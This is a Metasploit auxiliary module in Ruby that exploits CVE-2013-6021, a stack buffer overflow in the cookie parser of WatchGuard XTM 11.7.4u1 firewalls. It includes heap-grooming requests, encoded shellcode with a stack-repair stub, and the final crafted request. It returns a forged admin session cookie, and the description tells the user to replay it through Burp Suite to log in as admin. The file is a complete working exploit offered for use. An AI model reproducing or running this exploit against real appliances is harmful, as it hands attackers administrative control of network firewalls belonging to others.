## ## # copy to: modules/auxiliary/admin/http/ ## ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'WatchGuard XTM(v) 11.7.4u1 - Get admin cookie ', 'Description' => %q{ This module exploits a buffer overflow vulnerability inside the cookie parser of the wgagent process, running on WatchGuard firewall appliances (XTM(v)). This module use a dedicated shellcode which repairs the stack and returns into the code section in order to generate and send back a new admin cookie. In order to use that session cookie, fire up Burp Suite or similar, attempt to login as admin using any password, intercept the HTTP "response", and then replace it with the provided response. This module should only work against version 11.7.4u1. }, 'Author' => [ 'st3n (http://funoverip.net)' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 00001 $', 'References' => [ [ 'CVE', 'CVE-2013-6021' ], [ 'URL', 'http://www.kb.cert.org/vuls/id/233990' ], [ 'URL', 'http://watchguardsecuritycenter.com/2013/10/17/xtm-11-8-secfixes/' ], [ 'URL', 'http://funoverip.net/2013/10/watchguard-cve-2013-6021-stack-based-buffer-overflow-exploit/'], ], )) register_options( [ Opt::RPORT(8080), OptBool.new('SSL', [ true, "Use SSL", true ]), ], self.class) end def run offByTwo = "\x44\x85" shellcode = # shellcode: bypass password verification and return a session cookie "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" + "KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" + "eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" + "9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" + "RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" + "sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" + "ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" + "benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" + "LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A"; # Shellocde max length shellcode_max_len = 2000; # Is a WatchGuard appliance ? print_status("Sending HTTP ping request") if not is_watchguard print_error("Could not get 'pong' response") return nil end # Heap messaging print_status("Heap messaging ...") if not heap_messaging return nil end # Sending exploit print_status("Sending authentication bypass shellcode") res = send_request2(shellcode, shellcode_max_len, offByTwo) if res # Code 200 ? if res.code == 200 print_status("Printing HTTP response") print '-' * 60 + "\n" print ("#{res.cmd_string}") print ("#{res.headers}") print ("") print ("#{res.body}") print '-' * 60 + "\n" # Admin already logged ? if res.body.match(/admin is currently logged/m) print_warning("Exploit succeeded but admin is already logged") # Got session cookie ? elsif res.to_s.match(/sessionid=/m) print_good("Exploit succeeded") print_good("Now, intercept the HTTP response of a failed login attempt (using BurpSuite), and replace it with this HTTP response") print_good("See example at http://funoverip.net/2013/10/watchguard-cve-2013-6021-stack-based-buffer-overflow-exploit/'") else print_status("unknown answer") end else print_error("Expected HTTP code 200, but got #{res.code}. Try again ?") end end end # Heap messaging. # send request1 5 times def heap_messaging for i in 0..5 res = send_request1 if not res or res.code != 200 print_error("Expecting HTTP 200 code but got '#{res.code} #{(res.message and res.message.length > 0) ? ' ' + res.message : ''}'") return false end end return true end def send_request1 request1_uri = '/agent/ping' request1_user_agent = 'a' * 100 + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0 ' + 'a' * 100 request1_accept = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, ' + 'a' * 992 request1_accept_language= 'en-gb,en;q=0.5' + 'a' * 200 request1_content_type = 'application/xml' request1_cookie = 'sessionid=' + 'A' * 120 request1_accept_charset = 'utf-8' request1_post_data = 'foo' res = send_request_cgi({ 'method' => 'POST', 'uri' => request1_uri, 'ctype' => request1_content_type, 'agent' => request1_user_agent, 'headers' => { 'Accept' => request1_accept, 'Accept-Language' => request1_accept_language, 'Cookie' => request1_cookie, 'Accept-Charset' => request1_accept_charset, }, 'data' => request1_post_data, }) if not res print_error("HTTP request failed") return nil end return res end def send_request2(shellcode, shellcode_max_len, offByTwo) # our buffer is like this # NOPs + ALPHA_ECX24 + SHELLOCDE # where: # - NOP = '\x4a' (dec edx). EDX = 0 at the beginning # - ALPHA_ESI24 = set the address of the shellcode in EAX # - EAX = [ECX+0x24] # - EAX = EAX - EDX (edx was decremented by nopsled) # - EAX = EAX + length(ALPHA_ECX24) # - SHELLOCDE = .... alpha2_ecx24 = # set our shellcode address into EAX (expected by alpha2 encoder) "\x8b\x41\x24" + # mov eax, [ecx+0x24] "\x29\xd0" + # sub eax, edx ; (edx is updated by nopsled) "\x83\xc0\x40" + # add eax, 0x40 "\x83\xe8\x35" # sub eax, 0x35 # for the reader, "add eax, edx" contains bad chars. This is the reason why the nopsled decrement EDX and that we use "dec eax, edx" request2_sessionid = 'A' * 140 + offByTwo request2_post_data = "<methodCall><methodName>login</methodName><params><param><value><struct><member>" request2_post_data << "<name>password</name><value><string>foo</string></value></member><member>" request2_post_data << "<name>user</name><value><string>admin</string></value></member></struct></value>" request2_post_data << "</param></params></methodCall>" request2_uri = '/agent/ping' request2_user_agent = 'a' * 1879 request2_accept_encoding= 'identity,' + 'b' * 1386 request2_connection = 'keep-alive' + 'a' * 22 request2_connection << "\x4a" * (shellcode_max_len - shellcode.length - alpha2_ecx24.length) request2_connection << alpha2_ecx24 request2_connection << shellcode request2_content_type = 'application/xml' request2_cookie = 'sessionid=' + request2_sessionid request2_accept_charset = 'utf-8' res = send_request_cgi({ 'method' => 'POST', 'uri' => request2_uri, 'ctype' => request2_content_type, 'agent' => request2_user_agent, 'connection' => request2_connection, 'headers' => { 'Accept-Encoding' => request2_accept_encoding, 'Cookie' => request2_cookie, 'Accept-Charset' => request2_accept_charset, }, 'data' => request2_post_data, }) return res end def is_watchguard res = send_request_cgi({ 'method' => 'GET', 'uri' => '/ping', }) if not res return false end if res.code == 200 and res.body.match(/pong/m) return true else return false end end end